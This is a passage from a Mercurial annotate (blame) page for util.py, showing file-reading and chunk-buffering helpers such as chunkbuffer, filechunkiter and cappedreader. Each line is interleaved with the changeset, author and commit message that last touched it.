util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2569 |
if parent == name: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2570 |
raise |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2571 |
makedirs(parent, mode, notindexed) |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2572 |
try: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2573 |
makedir(name, notindexed) |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2574 |
except OSError as err: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2575 |
# Catch EEXIST to handle races |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2576 |
if err.errno == errno.EEXIST: |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2577 |
return |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2578 |
raise |
18678
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2579 |
if mode is not None: |
423eee0b0b14
util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents:
18668
diff
changeset
|
2580 |
os.chmod(name, mode) |
18668
4034b8d551b1
scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents:
18614
diff
changeset
|
2581 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2582 |
|
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2583 |
def readfile(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2584 |
with open(path, b'rb') as fp: |
14100
3e9e02a41dfb
util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents:
14099
diff
changeset
|
2585 |
return fp.read() |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2586 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2587 |
|
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2588 |
def writefile(path, text): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2589 |
with open(path, b'wb') as fp: |
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2590 |
fp.write(text) |
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2591 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2592 |
|
14167
0e4753807c93
util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14147
diff
changeset
|
2593 |
def appendfile(path, text): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2594 |
with open(path, b'ab') as fp: |
14099
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2595 |
fp.write(text) |
0824a0a3cefc
util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
14077
diff
changeset
|
2596 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2597 |
|
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2598 |
class chunkbuffer(object): |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2599 |
"""Allow arbitrary sized chunks of data to be efficiently read from an |
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2600 |
iterator over chunks of arbitrary size.""" |
1200 | 2601 |
|
5446
fa836e050c50
chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents:
5420
diff
changeset
|
2602 |
def __init__(self, in_iter): |
32123
5f53c267e362
util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents:
31952
diff
changeset
|
2603 |
"""in_iter is the iterator that's iterating over the input chunks.""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2604 |
|
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2605 |
def splitbig(chunks): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2606 |
for chunk in chunks: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2607 |
if len(chunk) > 2 ** 20: |
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2608 |
pos = 0 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2609 |
while pos < len(chunk): |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2610 |
end = pos + 2 ** 18 |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2611 |
yield chunk[pos:end] |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2612 |
pos = end |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2613 |
else: |
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2614 |
yield chunk |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2615 |
|
11670
1b3b843e1100
chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
11668
diff
changeset
|
2616 |
self.iter = splitbig(in_iter) |
25113
0ca8410ea345
util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents:
25112
diff
changeset
|
2617 |
self._queue = collections.deque() |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2618 |
self._chunkoffset = 0 |
1200 | 2619 |
|
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2620 |
def read(self, l=None): |
1200 | 2621 |
"""Read L bytes of data from the iterator of chunks of data. |
21018
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2622 |
Returns less than L bytes if the iterator runs dry. |
c848bfd02366
util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
20835
diff
changeset
|
2623 |
|
23139
e53f6b72a0e4
spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents:
23097
diff
changeset
|
2624 |
If size parameter is omitted, read everything""" |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2625 |
if l is None: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2626 |
return b''.join(self.iter) |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2627 |
|
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2628 |
left = l |
17962
4c29668ca316
util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents:
17560
diff
changeset
|
2629 |
buf = [] |
16873
37e081609828
util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents:
16834
diff
changeset
|
2630 |
queue = self._queue |
26478
a3f7e5461dbd
util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26450
diff
changeset
|
2631 |
while left > 0: |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2632 |
# refill the queue |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2633 |
if not queue: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2634 |
target = 2 ** 18 |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2635 |
for chunk in self.iter: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2636 |
queue.append(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2637 |
target -= len(chunk) |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2638 |
if target <= 0: |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2639 |
break |
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2640 |
if not queue: |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2641 |
break |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2642 |
|
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2643 |
# The easy way to do this would be to queue.popleft(), modify the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2644 |
# chunk (if necessary), then queue.appendleft(). However, for cases |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2645 |
# where we read partial chunk content, this incurs 2 dequeue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2646 |
# mutations and creates a new str for the remaining chunk in the |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2647 |
# queue. Our code below avoids this overhead. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2648 |
|
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2649 |
chunk = queue[0] |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2650 |
chunkl = len(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2651 |
offset = self._chunkoffset |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2652 |
|
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2653 |
# Use full chunk. |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2654 |
if offset == 0 and left >= chunkl: |
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2655 |
left -= chunkl |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2656 |
queue.popleft() |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2657 |
buf.append(chunk) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2658 |
# self._chunkoffset remains at 0. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2659 |
continue |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2660 |
|
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2661 |
chunkremaining = chunkl - offset |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2662 |
|
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2663 |
# Use all of unconsumed part of chunk. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2664 |
if left >= chunkremaining: |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2665 |
left -= chunkremaining |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2666 |
queue.popleft() |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2667 |
# offset == 0 is enabled by block above, so this won't merely |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2668 |
# copy via ``chunk[0:]``. |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2669 |
buf.append(chunk[offset:]) |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2670 |
self._chunkoffset = 0 |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2671 |
|
26479
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2672 |
# Partial chunk needed. |
46143f31290e
util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26478
diff
changeset
|
2673 |
else: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2674 |
buf.append(chunk[offset : offset + left]) |
26480
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2675 |
self._chunkoffset += left |
6ae14d1ca3aa
util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents:
26479
diff
changeset
|
2676 |
left -= chunkremaining |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2677 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2678 |
return b''.join(buf) |
11758
a79214972da2
chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents:
11469
diff
changeset
|
2679 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2680 |
|
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
2681 |
def filechunkiter(f, size=131072, limit=None): |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2682 |
"""Create a generator that produces the data in the file size |
30181
7356e6b1f5b8
util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents:
30087
diff
changeset
|
2683 |
(default 131072) bytes at a time, up to optional limit (default is |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2684 |
to read all data). Chunks may be less than size bytes if the |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2685 |
chunk is the last chunk in the file, or the file is a socket or |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2686 |
some other type of file that sometimes reads less data than is |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2687 |
requested.""" |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2688 |
assert size >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2689 |
assert limit is None or limit >= 0 |
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2690 |
while True: |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2691 |
if limit is None: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2692 |
nbytes = size |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2693 |
else: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2694 |
nbytes = min(limit, size) |
2462
d610bcfd66a8
util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2448
diff
changeset
|
2695 |
s = nbytes and f.read(nbytes) |
10282
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2696 |
if not s: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2697 |
break |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2698 |
if limit: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2699 |
limit -= len(s) |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2700 |
yield s |
1320
5f277e73778f
Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1312
diff
changeset
|
2701 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2702 |
|
36362
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2703 |
class cappedreader(object): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2704 |
"""A file object proxy that allows reading up to N bytes. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2705 |
|
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2706 |
Given a source file object, instances of this type allow reading up to |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2707 |
N bytes from that source file object. Attempts to read past the allowed |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2708 |
limit are treated as EOF. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2709 |
|
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2710 |
It is assumed that I/O is not performed on the original file object |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2711 |
in addition to I/O that is performed by this instance. If there is, |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2712 |
state tracking will get out of sync and unexpected results will ensue. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2713 |
""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2714 |
|
36362
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2715 |
def __init__(self, fh, limit): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2716 |
"""Allow reading up to <limit> bytes from <fh>.""" |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2717 |
self._fh = fh |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2718 |
self._left = limit |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2719 |
|
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2720 |
def read(self, n=-1): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2721 |
if not self._left: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2722 |
return b'' |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2723 |
|
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2724 |
if n < 0: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2725 |
n = self._left |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2726 |
|
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2727 |
data = self._fh.read(min(n, self._left)) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2728 |
self._left -= len(data) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2729 |
assert self._left >= 0 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2730 |
|
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2731 |
return data |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2732 |
|
37052
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2733 |
def readinto(self, b): |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2734 |
res = self.read(len(b)) |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2735 |
if res is None: |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2736 |
return None |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2737 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2738 |
b[0 : len(res)] = res |
37052
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2739 |
return len(res) |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2740 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2741 |
|
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2742 |
def unitcountfn(*unittable): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2743 |
'''return a function that renders a readable count of some quantity''' |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2744 |
|
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2745 |
def go(count): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2746 |
for multiplier, divisor, format in unittable: |
31946
f3b80537a70d
util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents:
31934
diff
changeset
|
2747 |
if abs(count) >= divisor * multiplier: |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2748 |
return format % (count / float(divisor)) |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2749 |
return unittable[-1][2] % count |
716cad930691
